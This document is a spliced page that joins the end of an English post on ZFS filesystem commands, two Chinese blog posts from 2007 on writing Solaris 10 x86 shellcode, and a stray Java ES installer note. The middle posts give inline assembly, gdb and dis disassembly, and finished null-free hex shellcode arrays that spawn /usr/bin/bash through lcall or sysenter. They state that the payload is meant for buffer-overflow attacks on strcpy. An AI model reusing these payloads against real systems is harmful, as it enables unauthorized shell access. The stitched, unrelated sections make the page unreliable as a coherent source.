ZFS makes it easy to create lots of filesystems, in Linux you are limited to 16 file systems per drive (yes I know you can use the Linux volume manager but of course that adds even more complexity to the raid setup outlined above, as drives get bigger you end with hundreds or even thousands of files and directories per drive making it easy to lose files in the levels of directories. With ZFS there is no real limit to the number of filesystems and they all share the storage pool, they are quick and easy to create.

#time zfs create data/word_processor_files
real 0m0.571s
user 0m0.019s
sys 0m0.040s
#

Little over half a second to create a filesystem and you can create as many as you like.

The next problem the home user may face is running out of space. Typically the user heads down to the local electronic or computer shop and gets another hard drive or two if they want to be safe and use raid, so they get to head back to the raid setup guide, of course. Depending on the filesystem you may be able to grow the filesystem with more cryptic commands turning your filesystems into a raid 1+0, but its pretty complicated, so most people resort to keeping them simple and moving files back and forth between the filesystems to get the space they need.

With ZFS it is only one command to add the drive(s) to the pool of storage.

#zpool add data mirror drive3 drive4

Afterward all your filesystems have access to the additional space. If money is a little tight, you can turn on compression on any filesystem you like with a simple command then all files that are added to the filesystem are compressed possibly using less space. Note this usually doesn’t slow down IO at all, on some systems and workloads it actually speeds up data access.

# zfs set compression=on data/filesystem

ZFS is so simple you can talk your grandmother through the process of creating filesystems or restoring data. This is just a small sample of what ZFS can do, but it’s all just as simple as what I have shown you in this document. Even if you are more advanced, you can still benefit from ZFS’ ease of use. No more hitting the web to study how-to's to setup raid or LVM. Even if you can't afford two drives in your home box ZFS will be perfectly happy with one drive, though you do lose hardware redundancy, snapshots are still there to take care of software or user introduced filesystem problems.

Shellcode on Solaris 10 (x86) Using sysenter

2007-02-13T23:45:00.000+08:00

lcall $0x07, $0x0是很久以前就在使用的系统调用方式。Intel提供了sysenter快速系统调用指令，如果在shellcode的编写中使用该指令，可以缩短shellcode的长度，让我们试一下。代码如下：
/*main.c
coded by alvin.
alvin.ding@gmail.com
*/

void main() {
__asm__("jmp .+0x24\n\t"); /* 跳转到call指令＊/
__asm__("popl %esi\n\t"); /* 字符串的地址放入%esi */
__asm__("movl %esi, -0x8(%ebp)\n\t"); /* 将字符串的地址保存在栈内存中 */
__asm__("xorl %eax, %eax\n\t");
__asm__("movl %eax, -0x4(%ebp)\n\t");
__asm__("subl $0x4, %esp\n\t");
__asm__("push %eax\n\t"); /* NULL字符入栈 */
__asm__("leal -0x8(%ebp), %eax\n\t"); /* 字符串变量地址保存在％eax中 */
__asm__("pushl %eax\n\t"); /* 地址入栈，为系统调用做准备 */
__asm__("pushl -0x8(%ebp)\n\t"); /* 字符串地址入栈 */

__asm__("movl %esi, %edx\n\t");
__asm__("subl $0x0e, %edx\n\t"); /* 返回地址放入%edx中 */
__asm__("xorl %eax, %eax\n\t");
__asm__("movb $0x3b, %al\n\t"); /* 系统调用号0x3b放入%eax */
__asm__("pushl %edx\n\t");
__asm__("movl %esp, %ecx\n\t"); /* 当前堆栈指针保存在%ecx */
__asm__("sysenter\n\t");

__asm__("call .-0x22\n\t"); /* 返回到jmp指令后的指令继续运行，这样做是为了得到本指令后定义的字符串"/usr/bin/bash"的地址 */
__asm__(".string \"/usr/bin/bash\""); /* 我们要执行的shell */

}

这样我们得出的shellcode如下：
static char shellcode[] =
"\xeb\x22\x5e\x89\x75\xf8\x33\xc0\x89\x45\xfc"
"\x83\xec\x04\x50\x8d\x45\xf8\x50\xff\x75\xf8"
"\x8b\xd6\x83\xea\x0e\x33\xc0\xb0\x3b\x52\x8b"
"\xcc\x0f\x34\xe8\xd9\xff\xff\xff\x2f\x75\x73"
"\x72\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68";

(编译的方法在前面的文章已经有过叙述)

编写Solaris 10 x86的Shellcode

2007-02-11T15:43:00.000+08:00

shell.c
static char shell[] = "\x33\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42
\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01
\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x33\xc0\x66\x6a\x68\x68
\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72
\x8b\xdc\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51
\x53\xb0\x0b\xe8\xc7\xff\xff\xff";

int main() {
void (*fun)();
fun = (void*)shell;
fun();
return 0;
}

以上文件中的shell数组的内容就是我们需要的shellcode,以下讨论获得这个shellcode的过程。

本实验使用的工具gcc(v3.3.2)和gdb(v6.4)。

因为在C语言中字符数组是以‘\0’结尾的，在实际攻击代码中使用时，诸如strcpy等函数会忽略字符串中0x00以后的字符。所以应该在指令代码中避免0x00，比如movl $0x0, %eax应该使用xorl %eax, %eax代替。

这里shellcode使用lcall系统调用/usr/bin/bash获得一个shell。

汇编代码如下(为调试方便，每行只含一条指令)：
shellcode.c
void main(){
__asm__("xorl %eax,%eax\n\t");
__asm__("jmp .+0xb\n\t");
__asm__("popl %edx\n\t");
__asm__("movl %eax, 0x1(%edx)\n\t");
__asm__("movb %al, 0x6(%edx)\n\t");
__asm__("jmp .+0x0f\n\t");
__asm__("call .-0x9\n\t");
__asm__("lcall $0x107,$0x1010101\n\t");
__asm__("ret\n\t");
__asm__("pushl %eax\n\t");
__asm__("movb $0x17,%al\n\t");
__asm__("call .-0xb\n\t");
__asm__("xorl %eax,%eax\n\t");
__asm__("pushw $0x68\n\t");
__asm__("pushl $0x7361622f\n\t");
__asm__("pushl $0x6e69622f\n\t");
__asm__("pushl $0x7273752f\n\t");
__asm__("movl %esp,%ebx\n\t");
__asm__("pushl %eax\n\t");
__asm__("pushl %ebx\n\t");
__asm__("leal (%esp),%ecx\n\t");
__asm__("leal 0x4(%esp),%edx\n\t");
__asm__("pushl %edx\n\t");
__asm__("pushl %ecx\n\t");
__asm__("pushl %ebx\n\t");
__asm__("movb $0xb,%al\n\t");
__asm__("call .-0x34\n\t");
}

系统调用lcall $0x07,0x0被lcall $0x107,$0x1010101代替是因为前者的二进制代码中包含0x00，通过
__asm__("movl %eax, 0x1(%edx)\n\t");
__asm__("movb %al, 0x6(%edx)\n\t");
两条指令在运行时将lcall $0x107,$0x1010101修改成为lcall $0x07,0x0。需要说明的是只有将上述代码放置于数据段，才能直接执行。因为通常代码段是只读的，不能在运行时修改代码段的指令。

四条连续的push指令压栈的是字符串“/usr/bin/bash”的ASCII值。

使用gcc编译该文件：
gcc -o shellcode -g -ggdb shellcode.c

通过gdb进行调试并得到二进制指令：
gdb shellcode
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-pc-solaris2.10"...
(gdb) disassemble main
Dump of assembler code for function main:
0x08050673 : push %ebp
0x08050674 : mov %esp,%ebp
0x08050676 : sub $0x8,%esp
0x08050679 : and $0xfffffff0,%esp
0x0805067c : mov $0x0,%eax
0x08050681 : sub %eax,%esp
0x08050683 : xor %eax,%eax
0x08050685 : jmp 0x8050690
0x08050687 : pop %edx
0x08050688 : mov %eax,0x1(%edx)
0x0805068b : mov %al,0x6(%edx)
0x0805068e : jmp 0x805069d
0x08050690 : call 0x8050687
0x08050695 : lcall $0x107,$0x1010101
0x0805069c : ret
0x0805069d : push %eax
0x0805069e : mov $0x17,%al
0x080506a0 : call 0x8050695
0x080506a5 : xor %eax,%eax
0x080506a7 : pushw $0x68
0x080506aa : push $0x7361622f
0x080506af : push $0x6e69622f
0x080506b4 : push $0x7273752f
0x080506b9 : mov %esp,%ebx
0x080506bb : push %eax
0x080506bc : push %ebx
0x080506bd : lea (%esp),%ecx
0x080506c0 : lea 0x4(%esp),%edx
0x080506c4 : push %edx
0x080506c5 : push %ecx
0x080506c6 : push %ebx
0x080506c7 : mov $0xb,%al
0x080506c9 : call 0x8050695
0x080506ce : leave
0x080506cf : ret
End of assembler dump.
(gdb)

通过gdb确定代码中jmp和call指令的偏移值。

-bash-3.00# dis -F main ./shellcode
**** DISASSEMBLER ****

disassembly for ./shellcode

section .text
main()
main: 55 pushl %ebp
main+0x1: 8b ec movl %esp,%ebp
main+0x3: 83 ec 08 subl $0x8,%esp
main+0x6: 83 e4 f0 andl $0xfffffff0,%esp
main+0x9: b8 00 00 00 00 movl $0x0,%eax
main+0xe: 2b e0 subl %eax,%esp
main+0x10: 33 c0 xorl %eax,%eax
main+0x12: eb 09 jmp +0xb
main+0x14: 5a popl %edx
main+0x15: 89 42 01 movl %eax,0x1(%edx)
main+0x18: 88 42 06 movb %al,0x6(%edx)
main+0x1b: eb 0d jmp +0xf
main+0x1d: e8 f2 ff ff ff call -0x9
main+0x22: 9a 01 01 01 01 07 01 lcall $0x107,$0x1010101
main+0x29: c3 ret
main+0x2a: 50 pushl %eax
main+0x2b: b0 17 movb $0x17,%al
main+0x2d: e8 f0 ff ff ff call -0xb
main+0x32: 33 c0 xorl %eax,%eax
main+0x34: 66 6a 68 pushw $0x68
main+0x37: 68 2f 62 61 73 pushl $0x7361622f
main+0x3c: 68 2f 62 69 6e pushl $0x6e69622f
main+0x41: 68 2f 75 73 72 pushl $0x7273752f
main+0x46: 8b dc movl %esp,%ebx
main+0x48: 50 pushl %eax
main+0x49: 53 pushl %ebx
main+0x4a: 8d 0c 24 leal (%esp),%ecx
main+0x4d: 8d 54 24 04 leal 0x4(%esp),%edx
main+0x51: 52 pushl %edx
main+0x52: 51 pushl %ecx
main+0x53: 53 pushl %ebx
main+0x54: b0 0b movb $0xb,%al
main+0x56: e8 c7 ff ff ff call -0x34
main+0x5b: c9 leave
main+0x5c: c3 ret
-bash-3.00#

从main+0x10开始的33 c0就是我们需要的shellcode了。


Note	Solaris OS 10 installs an earlier version of the Message Queue (and possibly other software). You may need to upgrade this product prior to installing Communications Suite software. The Java ES installer detects that your system has an earlier version of a product and may present you with an option to Upgrade Existing Software. If you are presented with this option, continue with Step 8 that follows this note. If you are not presented with this option, skip to Step 19. If you are presented with the upgrade option, simply select the item to be upgraded and run the Java ES installer to upgrade the component. After the installer upgrades the component (or components), you can quit the installer then restart it to install the remaining Communications Suite components. Then you need to repeat the preceding steps.